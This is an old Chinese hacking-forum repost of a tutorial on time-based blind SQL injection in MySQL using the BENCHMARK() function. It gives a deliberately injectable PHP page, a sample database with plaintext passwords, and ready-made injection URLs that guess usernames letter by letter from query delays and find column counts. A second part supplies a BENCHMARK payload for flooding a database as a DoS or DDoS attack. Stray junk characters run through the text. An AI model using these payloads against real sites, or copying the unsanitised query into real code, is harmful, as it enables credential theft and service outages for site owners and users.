中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 1 n7 B2 K. }4 F# B2 T% x6 B
本文作者:SuperHei+ C8 o1 F6 ]5 A0 H0 K" @# R
文章性质:原创6 J- k6 o7 `" D' i
发布日期:2005-01-02
" `( E1 f* @1 D9 P9 Z完成日期:2004-07-09
+ m, X# o/ ?. C3 x' S3 @第一部
0 t; a1 X1 b0 V/ W2 w: u/ m0 N  }( d3 A
利用时间推延进行注射---BENCHMARK函数在注射中的利用
+ H, @' c( x' w- @/ }# t- V- k) w5 K+ P# l& G1 C( d3 v
一.前言/思路
% B8 Z2 r" F$ s# c* W6 G  q: C: e) D: y
  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
2 p2 ?% P/ L. S  r; Q
) b' Z' e4 ^0 E" E* Q% G; _  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。3 G" w. w  L( Y9 x( X

& d6 r; S* Q' P- l: b+ ?$ E2 X二.关于BENCHMARK函数
! H( V# {5 k0 f4 Z
: O$ }) E* c/ m6 Y9 e- W  在MySQL参考手册里可以看到如下描叙: 9 t4 _" F6 D1 S0 B1 ]# M) w! S0 l

/ Q4 x; l$ f( H. b& S" c- J
2 |& J" S% n/ W: B; ]0 g--------------------------------------------------------------------------------
" e* i! e2 q( O
/ r" E, G8 {! W- PBENCHMARK(count,expr)
/ b$ ?2 U: {; y- P& y3 |/ R) zBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
3 N2 W$ |6 U' ~6 h1 Hmysql> select BENCHMARK(1000000,encode("hello","goodbye"));
' S9 Y) t% D: n5 n8 X+----------------------------------------------+
4 X2 X# j8 c; b| BENCHMARK(1000000,encode("hello","goodbye")) |
  q$ q4 Q4 U9 n: L+----------------------------------------------+ . P0 R$ w# ~9 g& S! }# S& h
| 0 | 7 X) f% q% u  t+ ^
+----------------------------------------------+ 5 l- z( q" p3 i+ j) o
1 row in set (4.74 sec)
8 l# `5 y$ Z, R# l3 v7 D
( }; v8 o: C, k; ?4 }, D" s( }报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
2 d; w7 T9 A, n) |% r0 a& S
6 R# y/ \9 |3 x' m. L5 t6 U* @: Z& b5 e
--------------------------------------------------------------------------------
2 \. @; q1 ?6 M9 k$ V& L6 y+ N. _
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
+ Y! l) E0 X1 r7 J# B8 @
' ]0 U( c% f4 R5 ^3 d" z: Gmysql> select md5( 'test' );
! @4 q6 K* w3 A. L- k; x2 u' J- g+----------------------------------+ 3 C0 Q% }& A4 W& F
| md5( 'test' ) |
# m( b! u# @# h* K2 z+----------------------------------+ 6 D: Y& z% P% e
| 098f6bcd4621d373cade4e832627b4f6 |
4 {2 p0 B' H3 o# d2 K3 x$ X/ U( x+----------------------------------+ : e- `1 T# y/ h5 @' Q7 \
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
( h5 T" A  p7 w+ q( y- j8 ?* Q* e/ u  b
mysql> select benchmark( 500000, md5( 'test' ) );
3 d+ R( Y+ X7 ]. @1 y+------------------------------------+
9 P% D# X# v& k8 X. W| benchmark( 500000, md5( 'test' ) ) | 3 p2 A8 T1 `. f, P  R
+------------------------------------+ % {+ a9 E2 `! p  m
| 0 | / i! _# E! @" b4 g
+------------------------------------+
/ V" ?- P8 O2 W9 O1 |& m3 _1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
: ^  F9 @; d: s6 v' | 1 R& }; O; F% G- F; c2 X
4 I$ g7 g- e3 ^$ s
  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。 2 X* ~; e# D. X) s9 v

" \8 C: v& t  A( T& R$ M' c6 q三.具体例子
- M) L! U! ]" _6 _1 R
+ m- ?- g% n9 y/ H1 v3 [* t/ }  首先我们看个简单的php代码:0 h. W2 {/ U7 ^; N2 h- }

2 c$ n! t3 U5 c# J  W5 P  j2 H< ?php & }4 P1 h- B( z' X+ T0 f# y
$servername = "localhost"; + S/ Y2 M7 P: B  d' @- n; j! B. V) i
$dbusername = "root";
+ l& @4 F- @; D2 m1 t$dbpassword = ""; & l- l/ E8 E" W( }4 Q* {5 J% N$ Q  ?$ G+ |
$dbname = "injection"; 7 T( L* e/ s$ q" f# G

, T' I; E0 r9 r0 ~mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
3 r+ s2 V$ l( v* R4 @  j
% }% m: j) {" q$sql = "SELECT * FROM article WHERE articleid=$id";
% h- K5 ]/ i0 Y6 e: K9 E$result = mysql_db_query($dbname,$sql); ! P: X0 k  e0 @" H+ ?- F
$row = mysql_fetch_array($result);
! A$ D2 q7 p0 R
4 q/ }+ l: I, P6 O- W6 _8 mif (!$row) / A9 v9 x+ O6 Y% `
{ 7 {  O" d# _( R. X. v. p
exit; $ @+ |: j9 N% ~
} ( u9 b. c  P, X4 ^5 X
?>
% n# J6 q* u$ w# L9 U* n# J9 j/ I
0 E' b$ z8 u$ i: w$ W2 J: a# u6 Z( d* @( D' @9 V  N8 }
  数据库injection结构和内容如下:- C$ I. ]$ L' k- b0 n
9 ~! \5 U$ f2 Q- T
# 数据库 : `injection` ( B7 Z- P9 Y/ B
#
2 v2 x7 @8 K  l: b0 v  q8 u$ X$ J4 Z8 {* b
# --------------------------------------------------------
0 y' Q2 g# q3 a* [; o7 U8 v9 r$ V4 b3 K
# 3 B$ b* f7 Q; Z5 Q
# 表的结构 `article` 8 V) a0 g/ _( a# {  B& M8 J' z/ U
#
) G3 `) j. w3 G$ a2 h' }* q& x% \" z' O4 G6 K! y# G1 I5 x
CREATE TABLE `article` ( * F' V' V, G+ u3 d3 g" |
`articleid` int(11) NOT NULL auto_increment,
1 i3 H6 |+ r/ }: B, A2 m9 k`title` varchar(100) NOT NULL default '',
1 @  ]9 y" X' y4 U: r`content` text NOT NULL, & A2 ]" S* K6 d1 I8 J# j
PRIMARY KEY (`articleid`)
: S+ @  T7 D3 K) TYPE=MyISAM AUTO_INCREMENT=3 ; , L5 P! Z! ?/ @0 |8 R! @

' r+ u2 j: Q7 K" N2 }) C#
$ u% R5 K' j7 Q& u# 导出表中的数据 `article`
4 M" O2 L& V: S- L6 i# ' K: m  H" ]9 M0 Q
' {: y" I6 d$ |( P/ _
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~'); $ g7 [" ]$ f  z3 n2 n$ n
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
9 ^; ]3 [/ a/ z! l3 v
! a$ E1 X0 {2 o; y7 _# -------------------------------------------------------- / M- e7 j5 ?* [" @, }
5 r) m8 K  F9 R- z- g. W8 s% f6 q  T, }
#
% \) Y& x. o# {7 t5 |+ c3 V$ z9 V3 @; q# 表的结构 `user`
# f. ~7 g: Z! c- `( T5 _- A6 W* i# 5 Y+ X3 u% a+ e: q6 t/ D4 H

( G8 A0 ]7 ^- h3 d7 r2 a# i: FCREATE TABLE `user` (
. w( j/ h* w  s. [& n% J; f`userid` int(11) NOT NULL auto_increment,
$ F; C4 f* D  c) c6 L`username` varchar(20) NOT NULL default '',
8 v+ ?, R& S" S4 d" `* i`password` varchar(20) NOT NULL default '', / R7 n# _( @( x) Z
PRIMARY KEY (`userid`)
) |( p' _3 S. E! ^) TYPE=MyISAM AUTO_INCREMENT=3 ; ; \3 K1 |) W0 J6 v

% f$ Y! D4 `+ X8 U$ J: e( a; {# 9 Z7 s$ y) d# F1 G. M
# 导出表中的数据 `user` 7 m: G' b; q4 s: r
#
  V0 S% `* e8 k( O  L& c: a% B0 e/ ^1 c
INSERT INTO `user` VALUES (1, 'angel', 'mypass'); + o# E' j; y' }& R; H
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
7 |& F* {0 F! r0 R, l
9 k' P" {9 [1 m5 s& S) X( R: j- S* {2 @5 u0 E
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; V& l& c$ I; J# J3 s& b+ s; N. ?  ^
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
/ M$ j! E/ u' q9 L  [ " X4 n, Q% X( S
9 x6 a% J  z: S- m9 T
  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
4 `, l4 c' U% N$ ^" [+ l+ z* D
6 Q  }; H" J3 ]. F3 xhttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
5 [2 g9 B: o0 i+ W( I9 M* Q0 |) P( y 2 ]7 Y+ G' c3 H  m: W

) z# W5 `* N1 M9 S3 ~* f# }  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 1 e( h6 v1 q" b- j% y9 w
( ?7 r: \/ L( p& y
  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。 & r: @$ t5 d' R) g9 [6 o

) n. [1 g6 s2 I! ^# G第二部+ y4 ?* `4 Y; V1 Q, i7 _
: {. s; o, r& q/ s$ T1 J+ p; t
利用BENCHMARK函数进行ddos攻击
( L/ R* W4 E* V" H) N% y* d
. w5 p& e. \2 ?0 v3 l+ A- {% k# j  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
8 I, l7 v, d! R! q, h1 G  u6 q( W- }2 }' b
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))  Z2 Q6 T$ Q! i

! |) @+ r  q: A3 v5 c7 F
4 X9 h. o" u, M7 L/ ~% Z小结
8 {& X: h6 e+ X: r6 ?1 U
& w) x- O1 a! s  k2 g- A1 z. R0 L" m5 I  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。2 x* W7 h0 i2 P) X  z

# S) x0 {' r" V5 R: s  
5 w- f/ \& I0 R! T" E. w6 t




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2